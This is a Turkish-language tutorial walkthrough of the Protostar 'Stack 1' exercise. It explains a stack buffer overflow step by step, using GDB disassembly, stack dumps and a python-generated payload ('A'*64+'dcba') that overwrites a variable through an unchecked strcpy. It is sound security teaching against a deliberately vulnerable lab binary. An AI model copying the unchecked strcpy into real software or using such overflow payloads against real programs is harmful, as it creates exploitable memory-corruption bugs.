📖 7 dakika ↪ Protostar

Stack 1

Stack1.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Amaç: “you have correctly got the variable to the right value” satırını yazdırmak.

Bu seviyede de istediğiğimiz cümleyi yazdırabilmek için programın akışını daha spesifik bir şekilde değiştirmemiz gerekiyor. Önceki seviyede modified değişkeni 0 haricinde bir değer olması yeterken şimdi 0x61626364 değerine eşit olması gerekmekte.

Programın çalıştırılması

user@protostar:/opt/protostar/bin$ ./stack1
stack1: please specify an argument

user@protostar:/opt/protostar/bin$ ./stack1 Merhaba
Try again, you got 0x00000000

Program çalıştırıldığı zaman bir önceki seviyedeki gibi herhangi bir input beklemeden argüman belirtiniz çıktısı veriyor. Herhangi bir argüman verdiğim zaman ise Tekrar deneyin diyip o anki modified değişkeninin değerini hex olarak yazdırıyor. Bu seviyeyide aynı şekilde uzun bir değer verdikten sonra geçebiliriz. Fakat gdb (gnu debugger)‘dan bahsetmek istiyorum. GDB ile bir programı açıp satır satır assembly kodlarını inceleyebilir, değişiklik yapabilir veya programın akışını değiştirebiliriz.

GDB ve AT&T Sentaks

Aşağıdaki çıktıyı biraz yorumlayarak basitleştirmek gerekirse. Sol taraftaki 0x ile başlayan 16lı tabanındaki sayılar, sağ tarafındaki opcode ve argüman(lar)‘ın saklandığı hafıza adresleridir.

Şuan sağdaki argümanlar biraz göz korkutucu görünebilir bunun yerine şu anda varsayılan olan AT&T sentaksını intel ile değiştireceğim.

user@protostar:/opt/protostar/bin$ gdb stack1
Reading symbols from /opt/protostar/bin/stack1...done.
(gdb) b main
Breakpoint 1 at 0x804846d: file stack1/stack1.c, line 11.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   %ebp
0x08048465 <main+1>:    mov    %esp,%ebp
0x08048467 <main+3>:    and    $0xfffffff0,%esp
0x0804846a <main+6>:    sub    $0x60,%esp
0x0804846d <main+9>:    cmpl   $0x1,0x8(%ebp)
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   movl   $0x80485a0,0x4(%esp)
0x0804847b <main+23>:   movl   $0x1,(%esp)
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   movl   $0x0,0x5c(%esp)
0x0804848f <main+43>:   mov    0xc(%ebp),%eax
0x08048492 <main+46>:   add    $0x4,%eax
0x08048495 <main+49>:   mov    (%eax),%eax
0x08048497 <main+51>:   mov    %eax,0x4(%esp)
0x0804849b <main+55>:   lea    0x1c(%esp),%eax
0x0804849f <main+59>:   mov    %eax,(%esp)
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    0x5c(%esp),%eax
0x080484ab <main+71>:   cmp    $0x61626364,%eax
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   movl   $0x80485bc,(%esp)
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    0x5c(%esp),%edx
0x080484c4 <main+96>:   mov    $0x80485f3,%eax
0x080484c9 <main+101>:  mov    %edx,0x4(%esp)
0x080484cd <main+105>:  mov    %eax,(%esp)
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.

GDB İntel Sentaks

Intel sentaksına geçmek için gdb de set disassembly-flavor intel yazıp tekrardan main fonksiyonunun makina kodlarını assembly kodlarına çeviriyorum. -disassemble-

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.

Virgül yerine boşluk görmek ve registerların başında % görmemek okumayı kolaylaştırıyor. İki sentaksın aralarındaki tek fark bu değil aynı zamanda assign yani atama yapılan yerde değişiyor.

Intel Sentaks | opcode | hedef,kaynak | | mov | eax,[ecx] |

AT&T Sentaks | opcode | kaynak,hedef | | movl | (%ecx),%eax |

Modified Değişkenini Değiştirilmesi

Aşağıdaki gibi bir kaç şekilde stack1 programına argüman yollayabiliriz.

user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #64 tane A
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64)")
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Try again, you got 0x00000043
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
Try again, you got 0x43434343
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'CCCC')")
Try again, you got 0x43434343
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEFG
Try again, you got 0x47464544

Bir önceki seviyede olduğu gibi 64 tane A(0x41) harfiyle bufferi dolduruyorum. Bunu daha kısa bir şekilde pythondan yardım alarak doldurabileceğimi söylemiştim. Burada dikkat çekmek istediğim son iki örnekte modified variable yerine istediğimi yazdırabiliyor oluşum. Fakat yazdırırken dikkat etmem gereken bir nokta sondan bir önceki 64 tane A ve bir tane C olan örnekte değerim 0x00000043 olması. Yani benim her modified değişkenine yazdığım harf tersten gözüküyor bunun sebebi bizim Big Endian olarak düşünmemiz ama makinaların Little Endian olarak çalışmasından kaynaklanıyor. Aralarındaki temel fark en kıymetli bitin solda yada sağda olmasıdır.

Madem istediğimiz şekilde modified değişkenini değiştirebiliyoruz o zaman bizden istenen değeri yazmayı deniyelim. [[#Stack1.c|Stack1.c]]‘deki if(modified==0x61626364) değerine bakacak olursak. 0x61626364 değerini modified değişkenine yazmak için bu sayıların ascii karşılığına pythondan yardım alarak buluyorum.

$ python3
Python 3.7.1 (default, Oct 22 2018, 10:41:28)
[GCC 8.2.1 20180831] on linux
>>> chr(0x61)
'a'
>>> chr(0x62)
'b'
>>> chr(0x63)
'c'
>>> chr(0x64)
'd'

Demek ki ben 64lük buffer’ı doldurduktan sonra abcd yazarsam bölümü geçebilirim.

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'abcd')")
Try again, you got 0x64636261

Little Endian‘a dikkat ederek :)

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'dcba')")
you have correctly got the variable to the right value

GDB hook-stop

GDB’de hook-stop denilen programın akışı her durdurulduğunda istediğimiz komutları sanki o komutları yazmışız gibi çalıştıran bir komut seti kuralı yazabiliriz.

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers # register'ların durumunu gösterir
>x/i $eip # bir sonraki çalıştırılacak komutu gösterir
>x/16wx $esp # Stack'in durumunu 16word olarak gösterir
>end

1 word 4byte olarak gdb içinde tanımlanmıştır.

Stack 0‘da bahsettiğim gibi stack lokal değişkenlerin tutulduğu bir veri yapısıdır. Bu sayede bir programın içerisinde aynı değişken ismi farklı fonksiyonlar içerisinde yer alabilir.

Örnek vermek gerekirse programın içinde birden fazla i değişkeni olmasına rağmen bir fonksiyonun içerisinde sadece tek i değişkeni bulunabilir. Bunun olmasını sağlayan stack frame denilen, her fonksiyon için kendine ait bir stack alanının bulunmasıdır.

user@protostar:/opt/protostar/bin$ gdb stack1 -q # -q Banneri görmemek için
Reading symbols from /opt/protostar/bin/stack1...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/i $eip
>x/16wx $esp
>end
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
eax            0x61626364       1633837924
ecx            0x0      0
edx            0x45     69
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff758       0xbffff758
esi            0x0      0
edi            0x0      0
eip            0x80484b9        0x80484b9 <main+85>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x80484b9 <main+85>:    call   0x8048398 <puts@plt>
0xbffff6f0:     0x080485bc      0xbffff93e      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0x080484b9      19      in stack1/stack1.c
(gdb) ni
...
... Aşağıdaki mesajı görene kadar ni yazıp stacke bakalım
...
you have correctly got the variable to the right value
(gdb) x/24wx $esp
0xbffff6f0:     0x080485bc      0xbffff93e      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x61626364

Görüldüğü gibi 4 satır 0x41414141 ile dolu ve en sonda da bizim 0x61626364 yazdığımız dcba değeri bulunmakta. Her bir 0x41414141 4 byte olup toplam 16 tane word olduğunu hesaplarsak bu programdaki 64byte olan buffer’ı doldurduğumuzu görebiliriz. Sonrasındaki 0x61626364 modified değişkeni oluyor.

Bunu şu şekilde ispatlayabiliriz sadece 64byte’lık bir payload ile çalıştırdığımızda stackteki modified değişkeninin bulunduğu adresin 0 olmasını bekleriz.

... Üstteki gdb örneğinin aynısı. Sadece 68byte yerine
... 64byte'lık payload verdim.

(gdb) x/24wx $esp
0xbffff6f0:     0xbffff70c      0xbffff942      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x00000000